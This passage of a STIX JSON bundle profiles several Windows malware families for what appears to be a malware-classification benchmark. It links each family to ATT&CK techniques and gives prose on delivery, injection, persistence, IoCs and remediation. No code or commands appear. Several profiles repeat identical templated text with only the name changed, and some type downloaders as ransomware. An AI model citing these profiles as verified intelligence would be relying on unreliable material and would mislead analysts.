      "description": "Favadd exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ced8a525-1894-5c9b-a4e7-242ca22ee9c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fayu",
      "description": "Trojan:Win32/Fayu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fayu</b><br>To an end-user, a Fayu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fayu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fayu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fayu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fayu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fayu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fayu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a7bcc3e-43e3-5cd0-9756-0fabe64422b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced8a525-1894-5c9b-a4e7-242ca22ee9c3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fayu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d9689b6-e3ff-5e85-a908-71d0de14adde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced8a525-1894-5c9b-a4e7-242ca22ee9c3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fayu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a0eea09-616a-5bb5-8908-b47b77acd88d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced8a525-1894-5c9b-a4e7-242ca22ee9c3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fayu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f4df3c8-51ff-5e12-b11f-b9a7537bf129",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced8a525-1894-5c9b-a4e7-242ca22ee9c3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fayu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a361a37d-ea9c-55f5-9258-1eecae9f0506",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced8a525-1894-5c9b-a4e7-242ca22ee9c3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fayu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7088848e-9063-561e-a139-328ee7c659cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fbng",
      "description": "<h3>Executive Summary</h3>\nFbng is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFbng is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Fbng operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Fbng ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Fbng receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Fbng infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Fbng executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Fbng frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Fbng",
        "Downloader.Fbng",
        "Win32/Fbng"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fbng",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fbng"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2932ef11-ee33-5dcd-ae56-8cf2fa110903",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7088848e-9063-561e-a139-328ee7c659cf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbng exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f60d50af-97df-52f4-8bcf-98d22b04dbc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7088848e-9063-561e-a139-328ee7c659cf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbng exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66efc094-e766-51ca-ac66-e9a41c2b8ce6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7088848e-9063-561e-a139-328ee7c659cf",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbng exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d373c960-52b1-5509-8466-aa155c80285a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fbsi",
      "description": "Trojan:Win32/Fbsi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fbsi</b><br>To an end-user, a Fbsi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fbsi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fbsi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fbsi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fbsi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fbsi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fbsi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94f3eb24-6c55-5c17-8d6d-bc3cb650ab13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d373c960-52b1-5509-8466-aa155c80285a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbsi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d8b4dc9-8263-570d-84c7-57f767284751",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d373c960-52b1-5509-8466-aa155c80285a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbsi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45e9f590-3a3d-5b0a-9aae-f2c9d3926c23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d373c960-52b1-5509-8466-aa155c80285a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbsi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dbd473d-c152-53e4-a6c3-443c3fd68ac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d373c960-52b1-5509-8466-aa155c80285a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbsi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d4edd5b-4869-58f2-ab5b-00558c6501e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d373c960-52b1-5509-8466-aa155c80285a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbsi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--468971f5-83f3-5c0f-8d08-cf2317a413a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fbtaken",
      "description": "Trojan:Win32/Fbtaken is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fbtaken</b><br>To an end-user, a Fbtaken infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fbtaken is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fbtaken is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fbtaken frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fbtaken reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fbtaken",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fbtaken"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f296100f-38d7-5521-9b1c-49bb7869d75f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--468971f5-83f3-5c0f-8d08-cf2317a413a8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbtaken exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5dac8537-247b-5fbd-a3d1-e4733a50d6a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--468971f5-83f3-5c0f-8d08-cf2317a413a8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbtaken exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db54afcb-25fa-5419-b06c-bfb6af477638",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--468971f5-83f3-5c0f-8d08-cf2317a413a8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbtaken exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b6a482d-1b92-5fcc-8e88-bced7d49eaf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--468971f5-83f3-5c0f-8d08-cf2317a413a8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbtaken exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddeee635-6d4b-589a-993a-28b57fadeaac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--468971f5-83f3-5c0f-8d08-cf2317a413a8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fbtaken exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bcd03de3-f37e-5326-bb78-fe7881006abe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fcb569F",
      "description": "<h3>Executive Summary</h3>\n\"Fcb569f\" (or similar alphanumeric strings like Trojan.Fcb569f) is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather represents a specific file hash or a cluster of highly obfuscated malware droppers attempting to evade static analysis.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe string \"Fcb569f\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. It is often a partial SHA-256 or MD5 hash of the malicious file itself.\n\nFiles flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms (or multiple layers of commercial packers), aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed in a sandbox environment before executing its true payload.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic or hash-based detection lacks the context of a known family, an alert for this identifier is a severe security event. It definitively indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper that the antivirus engine has flagged purely based on malicious intent.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Take the full file hash associated with the alert (e.g., searching for \"Fcb569f...\" on VirusTotal) and query it against threat intelligence platforms to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Fcb569f",
        "Suspicious.Fcb569f",
        "Heur.Fcb569f"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fcb569F",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fcb569f"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53f1cfab-8be2-553d-a8fe-3606345d2aeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcd03de3-f37e-5326-bb78-fe7881006abe",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fcb569F exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed52bb09-2b6a-5752-8c0b-1a56aaeb71db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcd03de3-f37e-5326-bb78-fe7881006abe",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fcb569F exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47795a35-5a83-57a9-b110-0ad6e305da50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcd03de3-f37e-5326-bb78-fe7881006abe",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fcb569F exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--893a0687-228c-5c5a-a654-2d1cad7acb9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fdoh",
      "description": "Trojan:Win32/Fdoh is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fdoh</b><br>To an end-user, a Fdoh infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fdoh is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fdoh is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fdoh frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fdoh reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fdoh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fdoh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84864fce-30d3-5e98-8f21-92fc0c9693d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--893a0687-228c-5c5a-a654-2d1cad7acb9b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fdoh exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d11e04e4-9209-524c-8ea5-244e4933b88f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--893a0687-228c-5c5a-a654-2d1cad7acb9b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fdoh exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcdea7a9-9cee-5034-8480-6c7602cc6993",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--893a0687-228c-5c5a-a654-2d1cad7acb9b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fdoh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9036428-56b5-5ab2-94eb-830a8358799b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--893a0687-228c-5c5a-a654-2d1cad7acb9b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fdoh exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e1d7d06-1a4d-55e4-9994-32178dd8d208",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--893a0687-228c-5c5a-a654-2d1cad7acb9b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fdoh exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2f825724-e995-59bf-9552-674e0d27267f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fearless_Key_Spy",
      "description": "Fearless Key Spy (cataloged across security software as Trojan-Spy.Win32.FearlessKeySpy and Spyware.Win32.Fearless) is a specialized Windows keystroke logger and commercial surveillance spyware tool developed in Borland Delphi during the mid-2000s cybercrime era. Engineered for covert background surveillance, Fearless Key Spy attaches a global low-level keyboard hook using the Win32 SetWindowsHookEx API. This enables the malware to intercept every keystroke entered across active applications, capture clipboard contents, and record foreground window titles alongside accurate system timestamps. Stored keystroke logs are encrypted and saved in hidden system directories before being periodically exfiltrated to attacker-controlled recipients via unauthenticated SMTP email messages or direct HTTP POST requests. Fearless Key Spy was distributed primarily through peer-to-peer file sharing networks, disguised as software cracks, key generators, and utility patches. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
